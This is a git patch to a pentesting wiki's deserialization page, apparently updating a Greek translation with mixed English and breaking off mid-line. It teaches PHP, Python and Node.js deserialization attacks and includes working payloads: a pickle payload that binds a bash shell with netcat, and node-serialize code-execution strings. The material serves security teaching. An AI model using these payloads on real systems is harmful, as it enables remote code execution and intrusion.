From a1992518e792c260257aa031a272437917fc589b Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 01:21:10 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/java-signedobject-gated- --- src/SUMMARY.md | 1 + src/pentesting-web/deserialization/README.md | 477 +++++++++--------- ...java-signedobject-gated-deserialization.md | 140 +++++ 3 files changed, 390 insertions(+), 228 deletions(-) create mode 100644 src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f2a0c1124..27f33cff3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -622,6 +622,7 @@ - [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md) - [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md) - [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md) + - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md) - [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md) - [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md) - [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index eeb25782d..3d6860664 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -**Serialization** κατανοείται ως η μέθοδος μετατροπής ενός αντικειμένου σε μια μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος μιας διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να διασφαλιστεί ότι το αντικείμενο μπορεί να αναδημιουργηθεί αργότερα, διατηρώντας τη δομή και την κατάσταση του. +**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. -**Deserialization**, αντιθέτως, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο. +**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. -Η deserialization μπορεί να είναι επικίνδυνη επειδή δυνητικά **επιτρέπει στους επιτιθέμενους να χειριστούν τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου. +Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. ## PHP -Στην PHP, συγκεκριμένες μαγικές μέθοδοι χρησιμοποιούνται κατά τη διάρκεια των διαδικασιών serialization και deserialization: +In PHP, specific magic methods are utilized during the serialization and deserialization processes: -- `__sleep`: Καλείται όταν ένα αντικείμενο είναι σε διαδικασία serialization. Αυτή η μέθοδος θα πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που θα πρέπει να serialized. Χρησιμοποιείται συνήθως για να δεσμεύσει εκκρεμή δεδομένα ή να εκτελέσει παρόμοιες εργασίες καθαρισμού. -- `__wakeup`: Καλείται όταν ένα αντικείμενο είναι σε διαδικασία deserialization. Χρησιμοποιείται για να επανασυνδεθούν τυχόν συνδέσεις βάσης δεδομένων που μπορεί να έχουν χαθεί κατά τη διάρκεια της serialization και να εκτελέσει άλλες εργασίες επαναρχικοποίησης. -- `__unserialize`: Αυτή η μέθοδος καλείται αντί της `__wakeup` (αν υπάρχει) όταν ένα αντικείμενο είναι σε διαδικασία deserialization. Παρέχει περισσότερη έλεγχο στη διαδικασία deserialization σε σύγκριση με την `__wakeup`. -- `__destruct`: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν το σενάριο τελειώνει. Χρησιμοποιείται συνήθως για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων. -- `__toString`: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλων εργασιών με βάση τις κλήσεις συναρτήσεων μέσα σε αυτό, παρέχοντας αποτελεσματικά μια κειμενική αναπαράσταση του αντικειμένου. +- `__sleep`: Καλείται όταν ένα αντικείμενο βρίσκεται στη διαδικασία serialization. Αυτή η μέθοδος πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που πρέπει να serialized. Χρησιμοποιείται συχνά για την καταγραφή εκκρεμών δεδομένων ή για παρόμοιες εργασίες καθαρισμού. +- `__wakeup`: Καλείται όταν ένα αντικείμενο βρίσκεται στη διαδικασία deserialization. Χρησιμοποιείται για να επανασυνδεθούν τυχόν συνδέσεις βάσης δεδομένων που μπορεί να έχουν χαθεί κατά τη διάρκεια της serialization και να εκτελεστούν άλλες εργασίες επανα-αρχικοποίησης. +- `__unserialize`: Αυτή η μέθοδος καλείται αντί για το `__wakeup` (αν υπάρχει) όταν ένα αντικείμενο βρίσκεται στη διαδικασία deserialization. Παρέχει μεγαλύτερο έλεγχο πάνω στη διαδικασία deserialization σε σύγκριση με το `__wakeup`. +- `__destruct`: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν τελειώνει το script. Τυπικά χρησιμοποιείται για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων. +- `__toString`: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως string. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλες εργασίες βασισμένες στις συναρτήσεις που καλούνται μέσα σε αυτήν, παρέχοντας ουσιαστικά μια κειμενική αναπαράσταση του αντικειμένου. ```php */ ?> ``` -Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποδομείται. Σημειώστε ότι σε αρκετά tutorials θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**. +Αν κοιτάξετε τα αποτελέσματα θα δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο απο-σειριοποιείται. Σημειώστε ότι σε αρκετούς οδηγούς θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**. > [!WARNING] -> Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί για `__wakeup()`** αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση. +> Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί του `__wakeup()`** εάν υλοποιείται στην κλάση. Σας επιτρέπει να απο-σειριοποιήσετε το αντικείμενο παρέχοντας τα σειριοποιημένα δεδομένα ως array. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να απο-σειριοποιήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτες απαραίτητες εργασίες κατά την απο-σειριοποίηση. > > ```php > class MyClass { @@ -85,23 +85,23 @@ This is a test
> > public function __unserialize(array $data): void { > $this->property = $data['property']; -> // Εκτελέστε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση. +> // Perform any necessary tasks upon deserialization. > } > } > ``` -Μπορείτε να διαβάσετε ένα εξηγημένο **παράδειγμα PHP εδώ**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), εδώ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ή εδώ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +Μπορείτε να διαβάσετε ένα εξηγημένο **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), εδώ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ή εδώ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Autoload Classes -Μπορείτε να καταχραστείτε τη λειτουργικότητα αυτόματης φόρτωσης PHP για να φορτώσετε αυθαίρετα αρχεία php και περισσότερα: +Μπορείτε να καταχραστείτε τη λειτουργία PHP autoload για να φορτώσετε αυθαίρετα αρχεία php και άλλα: {{#ref}} php-deserialization-+-autoload-classes.md {{#endref}} -### Serializing Referenced Values +### Σειριοποίηση Αναφερόμενων Τιμών Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη σειριοποιημένη τιμή**, μπορείτε: ```php @@ -116,12 +116,12 @@ $o->param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### Αποτροπή PHP Object Injection με το `allowed_classes` +### Αποτροπή του PHP Object Injection με `allowed_classes` > [!INFO] -> Η υποστήριξη για το **δεύτερο επιχείρημα** της `unserialize()` (τον πίνακα `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις, η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατη την περιορισμένη δημιουργία κλάσεων. +> Η υποστήριξη για το **δεύτερο όρισμα** της `unserialize()` (ο πίνακας `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις η συνάρτηση δέχεται μόνο τη σειριασμένη συμβολοσειρά, καθιστώντας αδύνατο τον περιορισμό των κλάσεων που μπορούν να δημιουργηθούν. -`unserialize()` θα **δημιουργήσει κάθε κλάση** που βρίσκει μέσα στο σειριοποιημένο ρεύμα, εκτός αν του πει κάτι διαφορετικό. Από την PHP 7, η συμπεριφορά μπορεί να περιοριστεί με την επιλογή [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php): +`unserialize()` θα **δημιουργήσει αντικείμενο για κάθε κλάση** που βρει μέσα στη σειριασμένη ροή, εκτός αν του υποδειχθεί το αντίθετο. Από την PHP 7 η συμπεριφορά μπορεί να περιοριστεί με το [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) επιλογή: ```php // NEVER DO THIS – full object instantiation $object = unserialize($userControlledData); @@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [ 'allowed_classes' => [MyModel::class, DateTime::class] ]); ``` -Αν **`allowed_classes` παραλειφθεί _ή_ ο κώδικας εκτελείται σε PHP < 7.0**, η κλήση γίνεται **επικίνδυνη** καθώς ένας επιτιθέμενος μπορεί να δημιουργήσει ένα payload που εκμεταλλεύεται μαγικές μεθόδους όπως `__wakeup()` ή `__destruct()` για να επιτύχει Remote Code Execution (RCE). +Εάν **`allowed_classes` παραληφθεί _ή_ ο κώδικας τρέχει σε PHP < 7.0**, η κλήση γίνεται **επικίνδυνη**, καθώς ένας επιτιθέμενος μπορεί να διαμορφώσει ένα payload που εκμεταλλεύεται μαγικές μεθόδους όπως `__wakeup()` ή `__destruct()` για να πετύχει Remote Code Execution (RCE). #### Πραγματικό παράδειγμα: Everest Forms (WordPress) CVE-2025-52709 -Το πρόσθετο WordPress **Everest Forms ≤ 3.2.2** προσπάθησε να είναι αμυντικό με έναν βοηθητικό wrapper αλλά ξέχασε τις παλιές εκδόσεις PHP: +Το plugin του WordPress **Everest Forms ≤ 3.2.2** προσπάθησε να είναι αμυντικό με ένα helper wrapper αλλά ξέχασε τις παλαιότερες εκδόσεις PHP: ```php function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { @@ -155,29 +155,30 @@ return @unserialize(trim($data)); return $data; } ``` -Σε διακομιστές που εξακολουθούσαν να εκτελούν **PHP ≤ 7.0**, αυτός ο δεύτερος κλάδος οδήγησε σε μια κλασική **PHP Object Injection** όταν ένας διαχειριστής άνοιξε μια κακόβουλη υποβολή φόρμας. Ένα ελάχιστο payload εκμετάλλευσης θα μπορούσε να μοιάζει με: +Σε διακομιστές που εξακολουθούσαν να τρέχουν **PHP ≤ 7.0** αυτό το δεύτερο branch οδηγούσε σε ένα κλασικό **PHP Object Injection** όταν ένας διαχειριστής άνοιγε μια κακόβουλη υποβολή φόρμας. Ένα ελάχιστο exploit payload θα μπορούσε να μοιάζει με: ``` O:8:"SomeClass":1:{s:8:"property";s:28:"";} ``` -Μόλις ο διαχειριστής είδε την καταχώρηση, το αντικείμενο δημιουργήθηκε και εκτελέστηκε το `SomeClass::__destruct()`, με αποτέλεσμα την εκτέλεση αυθαίρετου κώδικα. +Μόλις ο διαχειριστής είδε την εγγραφή, το αντικείμενο δημιουργήθηκε και η `SomeClass::__destruct()` εκτελέστηκε, με αποτέλεσμα arbitrary code execution. -**Σημαντικά σημεία** -1. Πάντα να περνάτε `['allowed_classes' => false]` (ή μια αυστηρή λευκή λίστα) όταν καλείτε το `unserialize()`. -2. Ελέγξτε τις αμυντικές περιτυλίξεις – συχνά ξεχνούν τους κληρονόμους PHP παλαιάς έκδοσης. -3. Η αναβάθμιση σε **PHP ≥ 7.x** από μόνη της *δεν είναι* επαρκής: η επιλογή πρέπει να παρέχεται ρητά. +**Take-aways** +1. Πάντα καθορίζετε `['allowed_classes' => false]` (ή μια αυστηρή white-list) όταν καλείτε `unserialize()`. +2. Ελέγξτε τα defensive wrappers – συχνά ξεχνούν τις legacy PHP branches. +3. Η αναβάθμιση σε **PHP ≥ 7.x** μόνη της *δεν* είναι αρκετή: η επιλογή πρέπει να δοθεί ρητά. --- -### PHPGGC (ysoserial για PHP) +### PHPGGC (ysoserial for PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε τις PHP deserializations.\ -Σημειώστε ότι σε πολλές περιπτώσεις **δεν θα μπορείτε να βρείτε τρόπο να εκμεταλλευτείτε μια deserialization στον πηγαίο κώδικα** της εφαρμογής, αλλά μπορεί να μπορείτε να **εκμεταλλευτείτε τον κώδικα εξωτερικών επεκτάσεων PHP.**\ -Έτσι, αν μπορείτε, ελέγξτε το `phpinfo()` του διακομιστή και **αναζητήστε στο διαδίκτυο** (ακόμα και στα **gadgets** του **PHPGGC**) κάποια πιθανά gadgets που θα μπορούσατε να εκμεταλλευτείτε. +[**PHPGGC**](https://github.com/ambionics/phpggc) μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε PHP deserializations.\ +Σημειώστε ότι σε αρκετές περιπτώσεις **δεν θα μπορέσετε να βρείτε τρόπο να εκμεταλλευτείτε μια deserialization στον κώδικα πηγής** της εφαρμογής αλλά ίσως να μπορέσετε να **εκμεταλλευτείτε τον κώδικα εξωτερικών PHP extensions.**\ +Οπότε, αν μπορείτε, ελέγξτε το `phpinfo()` του server και **αναζητήστε στο internet** (και στα **gadgets** του **PHPGGC**) κάποια πιθανή gadget που θα μπορούσατε να εκμεταλλευτείτε. ### phar:// metadata deserialization -Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**_**.** Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **deserialization** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το **phar** πρωτόκολλο.\ -Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση: +Αν έχετε βρει ένα LFI που απλά διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **deserialization** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το **phar** πρωτόκολλο.\ +Για περισσότερες πληροφορίες διαβάστε το παρακάτω post: + {{#ref}} ../file-inclusion/phar-deserialization.md @@ -187,8 +188,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"";} ### **Pickle** -Όταν το αντικείμενο αποσυμπιέζεται, η συνάρτηση \_\_\_reduce\_\_\_ θα εκτελεστεί.\ -Όταν εκμεταλλευτεί, ο διακομιστής μπορεί να επιστρέψει ένα σφάλμα. +Όταν το αντικείμενο γίνεται unpickle, η συνάρτηση \_\_\_reduce\_\_\_ θα εκτελεστεί.\ +Σε περίπτωση εκμετάλλευσης, ο server μπορεί να επιστρέψει σφάλμα. ```python import pickle, os, base64 class P(object): @@ -196,9 +197,10 @@ def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` -Πριν ελέγξετε την τεχνική παράκαμψης, δοκιμάστε να χρησιμοποιήσετε `print(base64.b64encode(pickle.dumps(P(),2)))` για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3. +Πριν ελέγξετε την τεχνική bypass, δοκιμάστε να χρησιμοποιήσετε `print(base64.b64encode(pickle.dumps(P(),2)))` για να δημιουργήσετε ένα αντικείμενο συμβατό με python2 αν τρέχετε python3. + +Για περισσότερες πληροφορίες σχετικά με το πως να διαφύγετε από **pickle jails** δείτε: -Για περισσότερες πληροφορίες σχετικά με την αποφυγή από **pickle jails** ελέγξτε: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -206,7 +208,8 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE payload αποσυμπίεσης για **Pickle, PyYAML, jsonpickle και ruamel.yaml**: +Η επόμενη σελίδα παρουσιάζει την τεχνική για κατάχρηση μιας μη-ασφαλούς deserialization στις βιβλιοθήκες yaml της python και ολοκληρώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για **Pickle, PyYAML, jsonpickle and ruamel.yaml**: + {{#ref}} python-yaml-deserialization.md @@ -214,6 +217,7 @@ python-yaml-deserialization.md ### Class Pollution (Python Prototype Pollution) + {{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}} @@ -222,10 +226,10 @@ python-yaml-deserialization.md ### JS Magic Functions -JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\ -Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται. +JS **δεν έχει "magic" functions** όπως το PHP ή το Python που θα εκτελεστούν απλώς κατά τη δημιουργία ενός αντικειμένου. Όμως έχει κάποιες **συναρτήσεις** που **χρησιμοποιούνται συχνά ακόμη και χωρίς να καλούνται άμεσα** όπως οι **`toString`**, **`valueOf`**, **`toJSON`**.\ +Αν εκμεταλλευτείτε μια deserialization και παραβιάσετε αυτές τις συναρτήσεις για να εκτελέσουν άλλο κώδικα (πιθανώς εκμεταλλευόμενοι prototype pollutions), μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν κληθούν. -Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._ +Ένας άλλος **"magic" τρόπος να κληθεί μια συνάρτηση** χωρίς να κληθεί άμεσα είναι παραβιάζοντας ένα αντικείμενο που επιστρέφεται από μια async function (promise). Επειδή, αν **μετατρέψετε** εκείνο το **return object** σε άλλο **promise** με ένα **property** που λέγεται **"then" του τύπου function**, θα **εκτελεστεί** απλώς επειδή επιστράφηκε από άλλο promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -249,9 +253,9 @@ test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` -### `__proto__` και ρύπανση `prototype` +### `__proto__` and `prototype` pollution -Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω tutorial**: +Αν θέλεις να μάθεις για αυτήν την τεχνική **ρίξε μια ματιά στον παρακάτω οδηγό**: {{#ref}} @@ -260,7 +264,7 @@ nodejs-proto-prototype-pollution/ ### [node-serialize](https://www.npmjs.com/package/node-serialize) -Αυτή η βιβλιοθήκη επιτρέπει την σειριοποίηση συναρτήσεων. Παράδειγμα: +Αυτή η βιβλιοθήκη επιτρέπει τη σειριοποίηση συναρτήσεων. Παράδειγμα: ```javascript var y = { rce: function () { @@ -273,23 +277,23 @@ var serialize = require("node-serialize") var payload_serialized = serialize.serialize(y) console.log("Serialized: \n" + payload_serialized) ``` -Το **serialised object** θα φαίνεται όπως: +Το **σειριοποιημένο αντικείμενο** θα μοιάζει με: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση είναι σειριοποιημένη, η σημαία `_$$ND_FUNC$$_` προστίθεται στο σειριοποιημένο αντικείμενο. +Μπορείτε να δείτε στο παράδειγμα ότι όταν μια function είναι serialized η σημαία `_$$ND_FUNC$$_` προστίθεται στο serialized αντικείμενο. -Μέσα στο αρχείο `node-serialize/lib/serialize.js` μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί. +Μέσα στο αρχείο `node-serialize/lib/serialize.js` μπορείτε να βρείτε την ίδια flag και τον τρόπο που ο κώδικας τη χρησιμοποιεί. ![](<../../images/image (351).png>) ![](<../../images/image (446).png>) -Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**. +Όπως φαίνεται στο τελευταίο κομμάτι κώδικα, **εάν η flag βρεθεί** χρησιμοποιείται το `eval` για να deserialize τη function, οπότε ουσιαστικά **user input χρησιμοποιείται μέσα στη συνάρτηση `eval`**. -Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\ -Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** προκειμένου να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\ -Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα: +Ωστόσο, **απλά serialising** μιας function **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\ +Παρόλα αυτά, μπορείτε απλά να **τροποποιήσετε το serialised αντικείμενο** **προσθέτοντας κάποιες παρενθέσεις** ώστε να γίνει αυτόματη εκτέλεση της serialized function όταν το αντικείμενο deserialized.\ +Στο επόμενο κομμάτι κώδικα **παρατηρήστε την τελευταία παρένθεση** και το πώς η function `unserialize` θα εκτελέσει αυτόματα τον κώδικα: ```javascript var serialize = require("node-serialize") var test = { @@ -297,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** χρησιμοποιώντας το `eval`. Επομένως, για να **αυτοεκτελέσετε κώδικα** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα: +Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα τον **εκτελέσει** χρησιμοποιώντας `eval`. Συνεπώς, για να **αυτοεκτελείται ο κώδικας** μπορείτε να **διαγράψετε το τμήμα δημιουργίας της function** και την τελευταία παρένθεση και **απλώς να εκτελέσετε ένα JS oneliner** όπως στο ακόλουθο παράδειγμα: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -Μπορείτε να [**βρείτε εδώ**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **περισσότερες πληροφορίες** σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια. +Μπορείτε να [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **περαιτέρω πληροφορίες** σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια. ### [funcster](https://www.npmjs.com/package/funcster) -Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`. +Ένα αξιοσημείωτο στοιχείο του **funcster** είναι ότι τα **τυπικά ενσωματωμένα αντικείμενα** δεν είναι προσβάσιμα· βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός εμποδίζει την εκτέλεση κώδικα που προσπαθεί να καλεί μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως "ReferenceError: console is not defined" όταν χρησιμοποιούνται εντολές όπως console.log() ή require(something). -Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα: +Παρά αυτόν τον περιορισμό, η επαναφορά πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των **τυπικών ενσωματωμένων αντικειμένων**, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Με την άμεση αξιοποίηση του παγκόσμιου πλαισίου, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να επανακτηθεί χρησιμοποιώντας το ακόλουθο απόσπασμα: ```javascript funcster = 